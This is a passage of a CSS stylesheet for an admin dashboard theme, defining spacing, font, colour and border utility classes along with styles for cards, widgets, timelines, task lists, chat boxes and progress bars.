  color: #212121;
  -moz-transition: color 0.2s;
  -o-transition: color 0.2s;
  -webkit-transition: color 0.2s;
  transition: color 0.2s; }
  a:hover, a:focus, a:active {
    outline: 0;
    text-decoration: none;
    color: #212121; }

.p0 {
  padding: 0px !important; }
.pt-0 {
  padding-top: 0px !important; }
.pb-0 {
  padding-bottom: 0px !important; }
.pl-0 {
  padding-left: 0px !important; }
.pr-0 {
  padding-right: 0px !important; }

.m0 {
  margin: 0px !important; }
.mt-0 {
  margin-top: 0px !important; }
.mb-0 {
  margin-bottom: 0px !important; }
.ml-0 {
  margin-left: 0px !important; }
.mr-0 {
  margin-right: 0px !important; }

.p5 {
  padding: 5px !important; }
.pt-5 {
  padding-top: 5px !important; }
.pb-5 {
  padding-bottom: 5px !important; }
.pl-5 {
  padding-left: 5px !important; }
.pr-5 {
  padding-right: 5px !important; }

.m5 {
  margin: 5px !important; }
.mt-5 {
  margin-top: 5px !important; }
.mb-5 {
  margin-bottom: 5px !important; }
.ml-5 {
  margin-left: 5px !important; }
.mr-5 {
  margin-right: 5px !important; }

.p10 {
  padding: 10px !important; }
.pt-10 {
  padding-top: 10px !important; }
.pb-10 {
  padding-bottom: 10px !important; }
.pl-10 {
  padding-left: 10px !important; }
.pr-10 {
  padding-right: 10px !important; }

.m10 {
  margin: 10px !important; }
.mt-10 {
  margin-top: 10px !important; }
.mb-10 {
  margin-bottom: 10px !important; }
.ml-10 {
  margin-left: 10px !important; }
.mr-10 {
  margin-right: 10px !important; }

.p15 {
  padding: 15px !important; }
.pt-15 {
  padding-top: 15px !important; }
.pb-15 {
  padding-bottom: 15px !important; }
.pl-15 {
  padding-left: 15px !important; }
.pr-15 {
  padding-right: 15px !important; }

.m15 {
  margin: 15px !important; }
.mt-15 {
  margin-top: 15px !important; }
.mb-15 {
  margin-bottom: 15px !important; }
.ml-15 {
  margin-left: 15px !important; }
.mr-15 {
  margin-right: 15px !important; }

.p20 {
  padding: 20px !important; }
.pt-20 {
  padding-top: 20px !important; }
.pb-20 {
  padding-bottom: 20px !important; }
.pl-20 {
  padding-left: 20px !important; }
.pr-20 {
  padding-right: 20px !important; }

.m20 {
  margin: 20px !important; }
.mt-20 {
  margin-top: 20px !important; }
.mb-20 {
  margin-bottom: 20px !important; }
.ml-20 {
  margin-left: 20px !important; }
.mr-20 {
  margin-right: 20px !important; }

.p25 {
  padding: 25px !important; }
.pt-25 {
  padding-top: 25px !important; }
.pb-25 {
  padding-bottom: 25px !important; }
.pl-25 {
  padding-left: 25px !important; }
.pr-25 {
  padding-right: 25px !important; }

.m25 {
  margin: 25px !important; }
.mt-25 {
  margin-top: 25px !important; }
.mb-25 {
  margin-bottom: 25px !important; }
.ml-25 {
  margin-left: 25px !important; }
.mr-25 {
  margin-right: 25px !important; }

.p30 {
  padding: 30px !important; }
.pt-30 {
  padding-top: 30px !important; }
.pb-30 {
  padding-bottom: 30px !important; }
.pl-30 {
  padding-left: 30px !important; }
.pr-30 {
  padding-right: 30px !important; }

.m30 {
  margin: 30px !important; }
.mt-30 {
  margin-top: 30px !important; }
.mb-30 {
  margin-bottom: 30px !important; }
.ml-30 {
  margin-left: 30px !important; }
.mr-30 {
  margin-right: 30px !important; }

.p35 {
  padding: 35px !important; }
.pt-35 {
  padding-top: 35px !important; }
.pb-35 {
  padding-bottom: 35px !important; }
.pl-35 {
  padding-left: 35px !important; }
.pr-35 {
  padding-right: 35px !important; }

.m35 {
  margin: 35px !important; }
.mt-35 {
  margin-top: 35px !important; }
.mb-35 {
  margin-bottom: 35px !important; }
.ml-35 {
  margin-left: 35px !important; }
.mr-35 {
  margin-right: 35px !important; }

.p40 {
  padding: 40px !important; }
.pt-40 {
  padding-top: 40px !important; }
.pb-40 {
  padding-bottom: 40px !important; }
.pl-40 {
  padding-left: 40px !important; }
.pr-40 {
  padding-right: 40px !important; }

.m40 {
  margin: 40px !important; }
.mt-40 {
  margin-top: 40px !important; }
.mb-40 {
  margin-bottom: 40px !important; }
.ml-40 {
  margin-left: 40px !important; }
.mr-40 {
  margin-right: 40px !important; }

.p45 {
  padding: 45px !important; }
.pt-45 {
  padding-top: 45px !important; }
.pb-45 {
  padding-bottom: 45px !important; }
.pl-45 {
  padding-left: 45px !important; }
.pr-45 {
  padding-right: 45px !important; }

.m45 {
  margin: 45px !important; }
.mt-45 {
  margin-top: 45px !important; }
.mb-45 {
  margin-bottom: 45px !important; }
.ml-45 {
  margin-left: 45px !important; }
.mr-45 {
  margin-right: 45px !important; }

.p50 {
  padding: 50px !important; }
.pt-50 {
  padding-top: 50px !important; }
.pb-50 {
  padding-bottom: 50px !important; }
.pl-50 {
  padding-left: 50px !important; }
.pr-50 {
  padding-right: 50px !important; }

.m50 {
  margin: 50px !important; }
.mt-50 {
  margin-top: 50px !important; }
.mb-50 {
  margin-bottom: 50px !important; }
.ml-50 {
  margin-left: 50px !important; }
.mr-50 {
  margin-right: 50px !important; }

.f-10 {
  font-size: 10px; }

.f-12 {
  font-size: 12px; }

.f-14 {
  font-size: 14px; }

.f-16 {
  font-size: 16px; }

.f-18 {
  font-size: 18px; }

.f-20 {
  font-size: 20px; }

.f-22 {
  font-size: 22px; }

.f-24 {
  font-size: 24px; }

.f-26 {
  font-size: 26px; }

.f-28 {
  font-size: 28px; }

.f-30 {
  font-size: 30px; }

.f-32 {
  font-size: 32px; }

.f-34 {
  font-size: 34px; }

.f-36 {
  font-size: 36px; }

.f-38 {
  font-size: 38px; }

.f-40 {
  font-size: 40px; }

.f-42 {
  font-size: 42px; }

.f-44 {
  font-size: 44px; }

.f-46 {
  font-size: 46px; }

.f-48 {
  font-size: 48px; }

.f-50 {
  font-size: 50px; }

.f-52 {
  font-size: 52px; }

.f-54 {
  font-size: 54px; }

.f-56 {
  font-size: 56px; }

.f-58 {
  font-size: 58px; }

.f-60 {
  font-size: 60px; }

.f-62 {
  font-size: 62px; }

.f-64 {
  font-size: 64px; }

.f-66 {
  font-size: 66px; }

.f-68 {
  font-size: 68px; }

.f-70 {
  font-size: 70px; }

.f-72 {
  font-size: 72px; }

.f-74 {
  font-size: 74px; }

.f-76 {
  font-size: 76px; }

.f-78 {
  font-size: 78px; }

.f-80 {
  font-size: 80px; }

.fw-100 {
  font-weight: 100; }

.fw-200 {
  font-weight: 200; }

.fw-300 {
  font-weight: 300; }

.fw-400 {
  font-weight: 400; }

.fw-500 {
  font-weight: 500; }

.fw-600 {
  font-weight: 600; }

.fw-700 {
  font-weight: 700; }

.fw-800 {
  font-weight: 800; }

.fw-900 {
  font-weight: 900; }

.img-20 {
  width: 20px; }

.img-30 {
  width: 30px; }

.img-40 {
  width: 40px; }

.img-50 {
  width: 50px; }

.img-60 {
  width: 60px; }

.img-70 {
  width: 70px; }

.img-80 {
  width: 80px; }

.img-90 {
  width: 90px; }

.img-100 {
  width: 100px; }

.b-t-primary {
  border-top: 1px solid #007bff; }

.b-b-primary {
  border-bottom: 1px solid #007bff; }

.b-l-primary {
  border-left: 1px solid #007bff; }

.b-r-primary {
  border-right: 1px solid #007bff; }

.b-primary {
  border: 1px solid #007bff; }

.b-t-warning {
  border-top: 1px solid #fb6340; }

.b-b-warning {
  border-bottom: 1px solid #fb6340; }

.b-l-warning {
  border-left: 1px solid #fb6340; }

.b-r-warning {
  border-right: 1px solid #fb6340; }

.b-warning {
  border: 1px solid #fb6340; }

.b-t-danger {
  border-top: 1px solid #f5365c; }

.b-b-danger {
  border-bottom: 1px solid #f5365c; }

.b-l-danger {
  border-left: 1px solid #f5365c; }

.b-r-danger {
  border-right: 1px solid #f5365c; }

.b-danger {
  border: 1px solid #f5365c; }

.b-t-success {
  border-top: 1px solid #2dce89; }

.b-b-success {
  border-bottom: 1px solid #2dce89; }

.b-l-success {
  border-left: 1px solid #2dce89; }

.b-r-success {
  border-right: 1px solid #2dce89; }

.b-success {
  border: 1px solid #2dce89; }

.b-t-inverse {
  border-top: 1px solid #4c5667; }

.b-b-inverse {
  border-bottom: 1px solid #4c5667; }

.b-l-inverse {
  border-left: 1px solid #4c5667; }

.b-r-inverse {
  border-right: 1px solid #4c5667; }

.b-inverse {
  border: 1px solid #4c5667; }

.b-t-info {
  border-top: 1px solid #11cdef; }

.b-b-info {
  border-bottom: 1px solid #11cdef; }

.b-l-info {
  border-left: 1px solid #11cdef; }

.b-r-info {
  border-right: 1px solid #11cdef; }

.b-info {
  border: 1px solid #11cdef; }

.bg-default {
  background-color: #d6d6d6 !important; }

.bg-theme {
  background-color: #ef4153 !important; }

.bg-aqua {
  background-color: #3ec5d6 !important; }

.bg-blue {
  background-color: #19B5FE !important; }

.bg-light-blue {
  background-color: #89CFF0 !important; }

.bg-teal {
  background-color: #008081 !important; }

.bg-yellow {
  background-color: #F7CA18 !important; }

.bg-orange {
  background-color: #FF8000 !important; }

.bg-green {
  background-color: #26C281 !important; }

.bg-lime {
  background-color: #cad900 !important; }

.bg-red {
  background-color: #F22613 !important; }

.bg-fuchsia {
  background-color: #df2de3 !important; }

.bg-navy {
  background-color: #000080 !important; }

.bg-empty {
  background: transparent !important; }

.bg-primary {
  background-color: #007bff !important; }

.bg-success {
  background-color: #2dce89 !important; }

.bg-info {
  background-color: #11cdef !important; }

.bg-warning {
  background-color: #fb6340 !important; }

.bg-danger {
  background-color: #f5365c !important; }

.bg-muted {
  background-color: #6c757d !important; }

.bg-inverse {
  background-color: #4c5667 !important; }

.bg-purple {
  background-color: #BF55EC !important; }

.bg-pink {
  background-color: #f76397 !important; }

.bg-white {
  background-color: #ffffff !important; }

.bg-facebook {
  background-color: #3b579d !important; }

.bg-twitter {
  background-color: #1da1f2 !important; }

.bg-google {
  background-color: #dc4a38 !important; }

.bg-linkedin {
  background-color: #0177b4 !important; }

.text-default {
  color: #d6d6d6 !important; }

.text-blue {
  color: #19B5FE !important; }

.text-light-blue {
  color: #89CFF0 !important; }

.text-teal {
  color: #008081 !important; }

.text-navy {
  color: #000080 !important; }

.text-lime {
  color: #cad900 !important; }

.text-orange {
  color: #FF8000 !important; }

.text-yellow {
  color: #F7CA18 !important; }

.text-aqua {
  color: #3ec5d6 !important; }

.text-white {
  color: #ffffff !important; }

.text-danger {
  color: #f5365c !important; }

.text-green {
  color: #26C281 !important; }

.text-primary {
  color: #007bff !important; }

.text-warning {
  color: #fb6340 !important; }

.text-success {
  color: #2dce89 !important; }

.text-info {
  color: #11cdef !important; }

.text-inverse {
  color: #4c5667 !important; }

.text-pink {
  color: #f76397 !important; }

.text-purple {
  color: #BF55EC !important; }

.text-dark {
  color: #212121 !important; }

.text-fuchsia {
  color: #df2de3 !important; }

.text-red {
  color: #F22613 !important; }

.text-facebook {
  color: #3b579d !important; }

.text-twitter {
  color: #1da1f2 !important; }

.text-instagram {
  color: #fb3958 !important; }

.text-google {
  color: #dc4a38 !important; }

.text-linkedin {
  color: #0177b4 !important; }

.text-behance {
  color: #053eff !important; }

.text-dribbble {
  color: #ea4c89 !important; }

.text-red {
  color: #F22613 !important; }

.min-width-zero {
  min-width: 0; }

.w-10 {
  width: 10% !important; }

.w-90 {
  width: 90% !important; }

.w-12 {
  width: 12% !important; }

.w-88 {
  width: 88% !important; }

.w-15 {
  width: 15% !important; }

.w-85 {
  width: 85% !important; }

.w-20 {
  width: 20% !important; }

.w-80 {
  width: 80% !important; }

.w-30 {
  width: 30% !important; }

.w-70 {
  width: 70% !important; }

.w-40 {
  width: 40% !important; }

.w-60 {
  width: 60% !important; }

.hidden {
  display: none !important; }

.d-inline-block {
  display: inline-block !important; }

.d-block {
  display: block !important; }

.visuallyhidden {
  border: 0;
  clip: rect(0 0 0 0);
  height: 1px;
  margin: -1px;
  overflow: hidden;
  padding: 0;
  position: absolute;
  width: 1px; }

.visuallyhidden.focusable:active, .visuallyhidden.focusable:focus {
  clip: auto;
  height: auto;
  margin: 0;
  overflow: visible;
  position: static;
  width: auto; }

.invisible {
  visibility: hidden; }

.clearfix:before, .clearfix:after {
  content: " ";
  display: table; }

.clearfix:after {
  clear: both; }

@media only screen and (max-width: 1023px) {
  .w-sm-100 {
    width: 100% !important; } }
@media only screen and (max-width: 767px) {
  .w-xs-100 {
    width: 100% !important; } }
.card {
  border-color: #ffff;
  position: relative;
  width: 100%;
  border: none;
  margin-bottom: 30px;
  -webkit-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06);
  -moz-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06);
  box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06);
  -moz-transition: all 0.5s ease-in-out;
  -o-transition: all 0.5s ease-in-out;
  -webkit-transition: all 0.5s ease-in-out;
  transition: all 0.5s ease-in-out;
  border-radius: 4px;
  -webkit-border-radius: 4px;
  -moz-border-radius: 4px; }
  .card .card-header {
    padding: 20px 20px;
    border: 0;
    background: none;
    display: -webkit-box;
    display: -moz-box;
    display: -ms-flexbox;
    display: -webkit-flex;
    display: flex;
    -webkit-align-items: center;
    -moz-align-items: center;
    -ms-align-items: center;
    align-items: center; }
    .card .card-header:first-child {
      border-radius: calc(.25rem - 1px) calc(.25rem - 1px) 0 0; }
    .card .card-header h3 {
      margin: 0;
      font-size: 18px;
      font-weight: normal;
      color: #212121; }
    .card .card-header .card-options a:not(.dropdown-item) {
      width: 30px;
      height: 30px;
      padding: 0;
      border-radius: 50%;
      text-align: center;
      line-height: 33px;
      color: #212121;
      display: inline-block;
      -moz-transition: all 0.5s ease-in-out;
      -o-transition: all 0.5s ease-in-out;
      -webkit-transition: all 0.5s ease-in-out;
      transition: all 0.5s ease-in-out; }
    .card .card-header .card-options span {
      color: #444;
      font-size: 12px; }
    .card .card-header .card-search {
      position: relative; }
      .card .card-header .card-search .form-control {
        padding-right: 60px;
        font-size: 14px;
        max-height: 30px;
        min-height: 30px; }
        .card .card-header .card-search .form-control ~ .btn {
          position: absolute;
          right: 0;
          top: 0;
          padding: 0;
          width: 30px;
          height: 30px;
          line-height: 30px;
          border-radius: 4px;
          background-color: #eceff1;
          border: none;
          -webkit-box-shadow: none;
          -moz-box-shadow: none;
          box-shadow: none; }
      .card .card-header .card-search.with-adv-search .adv-btn {
        background-color: transparent;
        border: 0;
        position: absolute;
        right: 30px;
        top: 0;
        width: 30px;
        height: 30px;
        line-height: 30px;
        padding: 0;
        -webkit-box-shadow: none;
        -moz-box-shadow: none;
        box-shadow: none; }
      .card .card-header .card-search.with-adv-search .adv-search-wrap {
        padding: 20px;
        display: none;
        position: absolute;
        left: 30px !important;
        width: 100%;
        top: 30px;
        background-color: #ffffff;
        z-index: 4;
        -webkit-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08);
        -moz-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08);
        box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08);
        border-radius: 6px;
        -webkit-border-radius: 6px;
        -moz-border-radius: 6px; }
        .card .card-header .card-search.with-adv-search .adv-search-wrap .form-control {
          padding-right: 15px; }
        .card .card-header .card-search.with-adv-search .adv-search-wrap .btn {
          padding: 0 15px;
          font-size: 14px;
          height: 30px;
          border-radius: 30px;
          -webkit-border-radius: 30px;
          -moz-border-radius: 30px; }
        .card .card-header .card-search.with-adv-search .adv-search-wrap.show {
          display: block; }
    .card .card-header.note-toolbar {
      padding: 0 0 5px 5px; }
    .card .card-header .dropdown .checkbox-dropdown {
      padding: 0px;
      width: 16px;
      height: 16px;
      background-color: #dee2e6;
      border-radius: .25rem;
      margin-right: 15px; }
  .card .card-body {
    padding: 20px 20px;
    flex: 1 1 auto;
    position: relative; }
  .card .card-img {
    height: 100%;
    object-fit: cover;
    max-height: 200px;
    width: unset;
    border-radius: 4px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px; }
  .card .card-img-overlay {
    background: rgba(0, 0, 0, 0.5);
    padding: 1.75rem;
    border-radius: 4px; }
  .card.icon-card .card-body i {
    font-size: 46px;
    line-height: 66px;
    color: #212121; }
  .card.icon-card .card-body .card-text {
    color: #8f8f8f;
    height: 30px;
    line-height: 26px; }
  .card.icon-card .card-body .lead {
    color: #212121;
    margin-bottom: 0; }
  .card .nav-pills.custom-pills {
    border-bottom: 1px solid #f1f1f1; }
    .card .nav-pills.custom-pills .nav-link {
      border-radius: 0;
      opacity: .7;
      font-size: 14px;
      padding: 12px 15px; }
      .card .nav-pills.custom-pills .nav-link.active {
        color: #ef4153;
        opacity: 1;
        background-color: transparent;
        border-bottom: 2px solid #ef4153; }

.widget {
  border-color: #ffff;
  position: relative;
  width: 100%;
  border: none;
  margin-bottom: 30px;
  background-color: #fff;
  overflow: hidden;
  -webkit-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06);
  -moz-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06);
  box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06);
  -moz-transition: all 0.5s ease-in-out;
  -o-transition: all 0.5s ease-in-out;
  -webkit-transition: all 0.5s ease-in-out;
  transition: all 0.5s ease-in-out;
  border-radius: 4px;
  -webkit-border-radius: 4px;
  -moz-border-radius: 4px; }
  .widget .widget-header {
    padding: 10px 20px;
    border-bottom: 1px solid #f5f7f9;
    position: relative; }
    .widget .widget-header .widget-title {
      font-size: 18px;
      margin: 0; }
    .widget .widget-header .widget-tools {
      position: absolute;
      right: 10px;
      top: 5px; }
      .widget .widget-header .widget-tools .btn-widget-tool {
        padding: 5px;
        font-size: 16px;
        background: transparent;
        color: #97a0b3; }
        .widget .widget-header .widget-tools .btn-widget-tool i {
          margin: 0; }
        .widget .widget-header .widget-tools .btn-widget-tool:focus {
          -webkit-box-shadow: none;
          -moz-box-shadow: none;
          box-shadow: none; }
  .widget .widget-body {
    padding: 20px 20px; }
    .widget .widget-body h6 {
      margin-bottom: 0;
      font-weight: 400; }
    .widget .widget-body h2 {
      margin-bottom: 0px;
      font-weight: 600; }
    .widget .widget-body .icon {
      font-size: 37px;
      color: #9aa0ac; }
    .widget .widget-body .overlay {
      position: absolute;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      background: rgba(0, 0, 0, 0.22);
      text-align: center;
      z-index: 3;
      display: -webkit-box;
      display: -moz-box;
      display: -ms-flexbox;
      display: -webkit-flex;
      display: flex;
      -webkit-justify-content: center;
      -moz-justify-content: center;
      -ms-justify-content: center;
      justify-content: center;
      -ms-flex-pack: center;
      -webkit-align-items: center;
      -moz-align-items: center;
      -ms-align-items: center;
      align-items: center;
      -webkit-flex-direction: column;
      -moz-flex-direction: column;
      -ms-flex-direction: column;
      flex-direction: column; }
      .widget .widget-body .overlay i {
        font-size: 32px;
        color: #ef4153;
        margin-bottom: 5px; }
  .widget .progress {
    border-radius: 0; }
  .widget[class*=bg-] .widget-header {
    background-color: rgba(255, 255, 255, 0.2);
    border-bottom-color: transparent; }
    .widget[class*=bg-] .widget-header .widget-title {
      color: #fff; }
    .widget[class*=bg-] .widget-header .widget-tools .btn-widget-tool {
      color: rgba(255, 255, 255, 0.6); }
  .widget[class*=bg-] .widget-body {
    color: #ffffff; }
    .widget[class*=bg-] .widget-body .icon {
      color: #ffffff; }
  .widget.social-widget .widget-body {
    text-align: center; }

.loading {
  -webkit-animation-name: loading;
  animation-name: loading;
  -webkit-animation-duration: .75s;
  animation-duration: .75s;
  -webkit-animation-iteration-count: infinite;
  animation-iteration-count: infinite;
  -webkit-animation-timing-function: linear;
  animation-timing-function: linear; }

@-webkit-keyframes loading {
  0% {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg); }
  to {
    -webkit-transform: rotate(1turn);
    transform: rotate(1turn); } }
@keyframes loading {
  0% {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg); }
  to {
    -webkit-transform: rotate(1turn);
    transform: rotate(1turn); } }
.card-group .card:not(:last-child) {
  border-right: 1px solid #f1f1f1; }

.card .card-header {
  border-bottom: 1px solid #f1f1f1; }
  .card .card-header .card-header-right {
    right: 10px;
    top: 16px;
    display: inline-block;
    float: right;
    position: absolute; }
    .card .card-header .card-header-right .card-option {
      width: 35px;
      height: 25px;
      overflow: hidden;
      margin: 0;
      -moz-transition: 0.3s ease-in-out;
      -o-transition: 0.3s ease-in-out;
      -webkit-transition: 0.3s ease-in-out;
      transition: 0.3s ease-in-out; }
      .card .card-header .card-header-right .card-option li {
        display: inline-block; }
        .card .card-header .card-header-right .card-option li i {
          margin: 0 5px;
          cursor: pointer;
          font-size: 15px;
          color: #8c8c8c;
          line-height: 2;
          font-weight: 300; }
.card .card-block {
  padding: 1.25rem; }
.card .card-body .icon {
  font-size: 37px;
  color: #9aa0ac; }
.card .feeds-widget {
  padding: 0; }
  .card .feeds-widget .feed-item {
    display: block;
    padding: 12px 15px;
    border: 1px solid #efefef;
    border-left: 0;
    border-right: 0; }
    .card .feeds-widget .feed-item a {
      display: -webkit-box;
      display: -moz-box;
      display: -ms-flexbox;
      display: -webkit-flex;
      display: flex;
      -webkit-align-items: center;
      -moz-align-items: center;
      -ms-align-items: center;
      align-items: center; }
      .card .feeds-widget .feed-item a .feeds-left {
        width: 50px;
        font-size: 30px; }
      .card .feeds-widget .feed-item a .feeds-body {
        width: 100%; }
        .card .feeds-widget .feed-item a .feeds-body h4 {
          font-size: 16px;
          margin: 0;
          font-weight: 700;
          margin-bottom: 5px; }
          .card .feeds-widget .feed-item a .feeds-body h4 ~ small {
            text-overflow: ellipsis;
            white-space: nowrap;
            overflow: hidden;
            width: calc(100% - 60px);
            font-size: 13px;
            color: #777; }
    .card .feeds-widget .feed-item.feed-item {
      margin-top: -1px; }
.card .timeline .header {
  background-size: cover;
  color: #fff;
  position: relative; }
  .card .timeline .header .color-overlay {
    padding: 2em;
    box-sizing: border-box;
    background: rgba(123, 94, 155, 0.5);
    line-height: normal; }
    .card .timeline .header .color-overlay .day-number {
      font-size: 6em;
      margin-right: 15px;
      display: inline-block;
      font-weight: 700;
      line-height: 1; }
    .card .timeline .header .color-overlay .date-right {
      display: inline-block; }
      .card .timeline .header .color-overlay .date-right .day-name {
        font-size: 22px; }
      .card .timeline .header .color-overlay .date-right .month {
        text-transform: uppercase;
        margin-top: 2px; }
.card .timeline ul {
  list-style: none;
  position: relative;
  padding-left: 30px;
  padding-top: 10px;
  margin: 0; }
  .card .timeline ul:before, .card .timeline ul::before {
    content: ' ';
    height: 100%;
    width: 1px;
    background-color: #f0f0f0;
    position: absolute;
    top: 0;
    left: 35px;
    z-index: 1; }
  .card .timeline ul li {
    padding-bottom: 15px; }
    .card .timeline ul li .bullet {
      width: 10px;
      height: 10px;
      display: inline-block;
      z-index: 2;
      position: relative;
      vertical-align: top;
      margin: 7px 0;
      margin-right: 5px;
      border-radius: 50%;
      -webkit-border-radius: 50%;
      -moz-border-radius: 50%; }
    .card .timeline ul li .time {
      width: 20%;
      font-size: 10px;
      margin: 6px 0;
      vertical-align: top;
      display: inline-block; }
    .card .timeline ul li .desc {
      width: 65%;
      display: inline-block; }
      .card .timeline ul li .desc h3 {
        margin: 0;
        font-size: 14px;
        font-weight: 700; }
      .card .timeline ul li .desc h4 {
        margin-top: 5px;
        font-size: 12px;
        color: #999; }
.card .task-list {
  margin: 0;
  padding: 0; }
  .card .task-list li {
    display: block;
    padding: 15px 0 15px 0;
    margin: 0;
    cursor: pointer; }
    .card .task-list li:first-child {
      padding-top: 0; }
    .card .task-list li.list span {
      float: left;
      margin-top: 20px;
      color: #FF7E39; }
      .card .task-list li.list span:before, .card .task-list li.list span::before {
        font-size: 1.5rem;
        content: "\e83f";
        font-family: 'iconkit';
        vertical-align: middle;
        border: 3px solid #FF7E39;
        padding: 4px;
        border-radius: 50%;
        -webkit-border-radius: 50%;
        -moz-border-radius: 50%; }
    .card .task-list li.list .task-details {
      margin-left: 60px; }
      .card .task-list li.list .task-details p {
        margin: 0;
        padding: 10px 0 6px 0;
        line-height: 140%; }
        .card .task-list li.list .task-details p.date {
          padding: 0;
          margin: 0;
          font-size: .75rem; }
    .card .task-list li.completed {
      text-decoration: line-through;
      color: #8796af;
      -moz-transition: all 0.3s ease-out;
      -o-transition: all 0.3s ease-out;
      -webkit-transition: all 0.3s ease-out;
      transition: all 0.3s ease-out; }
      .card .task-list li.completed span:before, .card .task-list li.completed span::before {
        color: #50b924;
        border: 3px solid #50b924; }
.card .chat-box .chat-list {
  margin: 0;
  padding: 0;
  list-style: none; }
  .card .chat-box .chat-list .chat-item {
    list-style: none;
    margin-top: 30px; }
    .card .chat-box .chat-list .chat-item .chat-img {
      display: inline-block;
      width: 45px;
      vertical-align: top; }
      .card .chat-box .chat-list .chat-item .chat-img img {
        width: 45px;
        border-radius: 100%;
        -webkit-border-radius: 100%;
        -moz-border-radius: 100%; }
    .card .chat-box .chat-list .chat-item .chat-content {
      width: calc(100% - 50px);
      display: inline-block;
      padding-left: 15px; }
      .card .chat-box .chat-list .chat-item .chat-content .box {
        display: inline-block;
        padding: 10px;
        margin-bottom: 3px;
        color: #343a40;
        background: #f6f8f9;
        border-radius: 6px;
        -webkit-border-radius: 6px;
        -moz-border-radius: 6px; }
    .card .chat-box .chat-list .chat-item .chat-time {
      display: block;
      font-size: 10px;
      color: #4F5467;
      margin: 5px 0 15px 65px; }
    .card .chat-box .chat-list .chat-item.odd .chat-content {
      text-align: right;
      width: calc(100% - 0px); }
      .card .chat-box .chat-list .chat-item.odd .chat-content .box {
        clear: both;
        color: #fff;
        background: #137eff; }
    .card .chat-box .chat-list .chat-item.odd .chat-time {
      text-align: right; }
    .card .chat-box .chat-list .chat-item.odd + .odd {
      margin-top: 0; }
    .card .chat-box .chat-list .chat-item:first-child {
      margin-top: 0; }
.card .chat-footer {
  position: relative;
  background-color: #ffffff; }
  .card .chat-footer .input-wrap {
    padding-right: 50px; }
  .card .chat-footer .btn {
    position: absolute;
    top: 10px;
    right: 20px;
    width: 35px;
    height: 35px; }
.card .card-title {
  font-size: 18px; }
.card .card-subtitle {
  font-weight: 300;
  margin-bottom: 10px;
  color: #afb5c1; }

.jvectormap-tip {
  border: none;
  font-family: 'Nunito Sans', sans-serif;
  font-weight: 700;
  padding: 5px 10px;
  font-size: 11px; }

.chart-line .ct-grid {
  stroke-dasharray: 0;
  stroke: rgba(255, 255, 255, 0.5); }
.chart-line .ct-point {
  stroke-width: 0; }
.chart-line .ct-line {
  stroke: #FFF;
  stroke-width: 3px; }

.chart-shadow {
  transition: all 0.3s ease-in-out;
  filter: drop-shadow(0px 5px 2px rgba(43, 43, 43, 0.2)); }

.card-blue, .card-green, .card-red, .card-yellow {
  position: relative;
  overflow: hidden; }
  .card-blue:after, .card-green:after, .card-red:after, .card-yellow:after {
    content: "";
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: 1; }
  .card-blue .card-block,
  .card-blue .card-block-big,
  .card-blue .card-block-small,
  .card-blue .card-body,
  .card-blue .card-footer,
  .card-blue .card-header, .card-green .card-block,
  .card-green .card-block-big,
  .card-green .card-block-small,
  .card-green .card-body,
  .card-green .card-footer,
  .card-green .card-header, .card-red .card-block,
  .card-red .card-block-big,
  .card-red .card-block-small,
  .card-red .card-body,
  .card-red .card-footer,
  .card-red .card-header, .card-yellow .card-block,
  .card-yellow .card-block-big,
  .card-yellow .card-block-small,
  .card-yellow .card-body,
  .card-yellow .card-footer,
  .card-yellow .card-header {
    position: relative;
    z-index: 5; }
.card-red::after {
  background: #f5365c; }
.card-red .ct-line {
  stroke: #fff; }
.card-red .ct-grid {
  stroke: #f97f97; }
.card-blue::after {
  background: #007bff; }
.card-blue .ct-line {
  stroke: #fff; }
.card-blue .ct-grid {
  stroke: #4da3ff; }
.card-green::after {
  background: #2dce89; }
.card-green .ct-line {
  stroke: #fff; }
.card-green .ct-grid {
  stroke: #69deac; }
.card-yellow::after {
  background: #fb6340; }
.card-yellow .ct-line {
  stroke: #fff; }
.card-yellow .ct-grid {
  stroke: #fda08b; }

.proj-progress-card .progress {
  height: 6px;
  overflow: visible;
  margin-bottom: 10px; }
  .proj-progress-card .progress .progress-bar {
    position: relative; }
    .proj-progress-card .progress .progress-bar:after {
      content: "";
      background: #fff;
      position: absolute;
      right: -6px;
      top: -4px;
      border-radius: 50%;
      width: 15px;
      height: 15px; }
    .proj-progress-card .progress .progress-bar.bg-red:after {
      border: 3px solid #f5365c; }
    .proj-progress-card .progress .progress-bar.bg-blue:after {
      border: 3px solid #007bff; }
    .proj-progress-card .progress .progress-bar.bg-green:after {
      border: 3px solid #2dce89; }
    .proj-progress-card .progress .progress-bar.bg-yellow:after {
      border: 3px solid #fb6340; }
@media only screen and (max-width: 992px) {
  .proj-progress-card h6 {
    margin-top: 15px; }
  .proj-progress-card .progress {
    margin-bottom: 30px; } }

.sos-st-card h3 {
  display: inline-block; }
  .sos-st-card h3 i {
    color: #fff;
    font-size: 18px;
    width: 60px;
    height: 60px;
    border-radius: 50%;
    padding: 12px 0;
    text-align: center;
    margin-right: 15px;
    border: 10px solid transparent;
    transition: all 0.3s ease-in-out; }
.sos-st-card h5 {
  position: relative; }
  .sos-st-card h5:after {
    content: "";
    background: #d2d2d2;
    position: absolute;
    top: -20px;
    right: -15px;
    width: 1px;
    height: 60px; }
.sos-st-card.facebook h3 {
  color: #3b579d; }
  .sos-st-card.facebook h3 i {
    background-color: #3b579d;
    border-color: #869cd2; }
.sos-st-card.twitter h3 {
  color: #1da1f2; }
  .sos-st-card.twitter h3 i {
    background-color: #1da1f2;
    border-color: #96d3f9; }
.sos-st-card.linkedin h3 {
